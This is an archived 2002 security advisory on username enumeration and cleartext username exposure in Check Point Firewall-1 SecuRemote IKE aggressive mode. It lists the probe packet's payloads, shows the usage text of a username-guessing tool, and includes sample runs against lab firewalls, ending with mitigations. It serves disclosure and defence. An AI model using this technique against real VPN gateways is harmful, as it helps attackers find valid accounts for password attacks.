SecuRemote usernames can be guessed or sniffed using IKE exchange Introduction: ------------- While performing a VPN security analysis for one of our customers, I discovered a potential issue with Firewall-1 SecuRemote IKE which can allow usernames to be guessed. I also observed the related issue that the SecuRemote IKE usernames are passed in the clear which allows them to be discovered by network sniffing. Full details of this issue are available at: http://www.nta-monitor.com/news/checkpoint.htm Issue summary: -------------- Firewall-1 versions 4.0 SP 7, 4.1 SP2, 4.1 SP6, NG Base, NG FP1 and NG FP2 allow username guessing using IKE aggressive mode. I have only tested against the specific versions shown but I suspect that the issue affects all versions from 4.0 to NG FP2. Note that 4.1 SP2 and NG FP1 are ITsec E3 certified versions of Firewall-1 when used in the appropriate configuration. When presented with a username in an appropriately formatted IKE aggressive mode packet, the Firewall will respond differently depending on whether the username is valid or not. This allows usernames to be guessed using a dictionary attack. Versions up to NG base also provide additional information about accounts that exist but are not valid for IKE for some reason; NG FP1 and FP2 do not provide this extra information although they still indicate if the user is valid or not. Checkpoint and CERT have been informed of this issue. Configuration: -------------- Firewall is Firewall-1 v4.1 SP6 VPN+DES+STRONG on Windows NT Server 4.0 SP6a using local user database (not using LDAP; no "generic*" user). I have also confirmed the issue on Firewall-1 4.0 SP7, NG Base, NG FP1 and NG FP2. All running on Windows NT. Client is Debian Linux 3.0 ("woody") with 2.4.18 kernel running proprietary IKE username guessing program which was written in C. Issue Details: -------------- If we send an IKE Phase-1 aggressive mode packet with the following payloads: a) ISAKMP Header b) SA - Containing one proposal with four transforms c) Key Exchange - DH Group 2 d) Nonce e) Identification - Type ID_USER_FQDN, Value is SecuRemote username The Firewall will either send back an IKE notification message indicating that the user is not valid in some way, or it will respond with an aggressive mode packet indicating that the user exists and is valid. This is contrary to accepted security practice not to indicate if credentials are valid until all credentials have been supplied, and in the event that credentials are not valid, not to indicate which credentials are in error. Below is the usage message from the program that was used to generate the examples so you can understand the options being used: rsh@radon$ fw1-ike-userguess --help Usage: fw1-ike-userguess [options] <hostname> <hostname> is name or IP address of Firewall. Options: --file=<fn> or -f <fn> Read usernames from file <fn>, one per line. --help or -h Display this help message and exit. --id=<id> or -i <id> Use string <id> as SecuRemote username. --sport=<p> or -s <p> Set UDP source port to <p>. Default 500. 0=random. --dport=<p> or -d <p> Set UDP dest. port to <p>. Default 500. --timeout=<n> or -t <n> Set timeout to <n> ms. Default 2000. --random=<n> or -r <n> Set random seed to <n>. Default is based on time Used to generate key exchange and nonce data. --version or -V Display program version and exit. --idtype=n or -y n Use identification type <n>. Default 3 (ID_USER_FQDN) For Checkpoint SecuRemote VPN, this must be set to 3. --dhgroup=n or -g n Use Diffie Hellman Group <n>. Default 2 Acceptable values are 1,2 and 5 (MODP only). fw1-ike-userguess version 1.2 2002-08-30 <Roy.Hills@nta-monitor.com> Example 1: This example which shows the username guessing program being run against a Firewall-1 v4.1 SP6 system: Script started on Thu Aug 22 15:15:30 2002 rsh@radon [499]% fw1-ike-userguess --file=testusers.txt --sport=0 172.16.2.2 testuser User testuser unknown. test-ike-3des USER EXISTS testing123 User testing123 unknown. test-ike-des USER EXISTS guest User guest unknown. test-fwz-des User cannot use IKE test-ike-cast40 USER EXISTS test-ike-ah USER EXISTS test-ike-hybrid IKE is not properly defined for user. test-expired Login expired on 1-jan-2002. rsh@radon [500]% exit Script done on Thu Aug 22 15:15:50 2002 In this example, the users "test-ike-3des", "test-ike-des", "test-ike-cast40" and "test-ike-ah" exist and have valid IKE configurations with shared secret auth; the users "testuser", "testing123" and "guest" do not exist; and the users "test-fwz-des", "test-ike-hybrid" and "test-expired" exist but cannot use IKE for various reasons which are explained in the Firewall message. Example 2: This example shows Firewall-1 NG FP2: rsh@radon [502]% fw1-ike-userguess --file=testusers.txt --sport=0 192.168.124.150 testuser Notification code 14 test-ike-3des USER EXISTS testing123 Notification code 14 test-ike-des USER EXISTS guest Notification code 14 test-expired Notification code 14 rsh@radon [503]% exit Script done on Tue Aug 20 17:28:08 2002 In this example, users "test-ike-3des" and "test-ike-des" exist and have valid IKE configurations with shared secret auth; the users "testuser", "testing123" and "guest" don't exist; and the user "test-expired" exists but has expired. With NG FP2, the Firewall does confirm if the user is valid or not, but it doesn't give additional information about why a user is not valid, but instead responds with notification code 14 which is defined in RFC 2408 section 3.14.1 as "NO-PROPOSAL-CHOSEN". However, the basic issue remains. Solutions --------- There is no simple "one click" solution or workaround. However, using certificates rather than usernames and passwords for VPN authentication will address both the sniffing and username guessing issues. Also, using Firewall-1 Hybrid authentication with a strong authentication server such as SecurID will make username guessing or sniffing less of an issue because the password is virtually impossible to guess. Roy Hills Technical Director NTA Monitor Ltd -- Roy Hills Tel: +44 1634 721855 NTA Monitor Ltd FAX: +44 1634 721844 14 Ashford House, Beaufort Court, Medway City Estate, Email: Roy.Hills@nta-monitor.com Rochester, Kent ME2 4FA, UK WWW: http://www.nta-monitor.com/
This archive was generated by hypermail 2b30 : Tue Sep 03 2002 - 09:43:52 PDT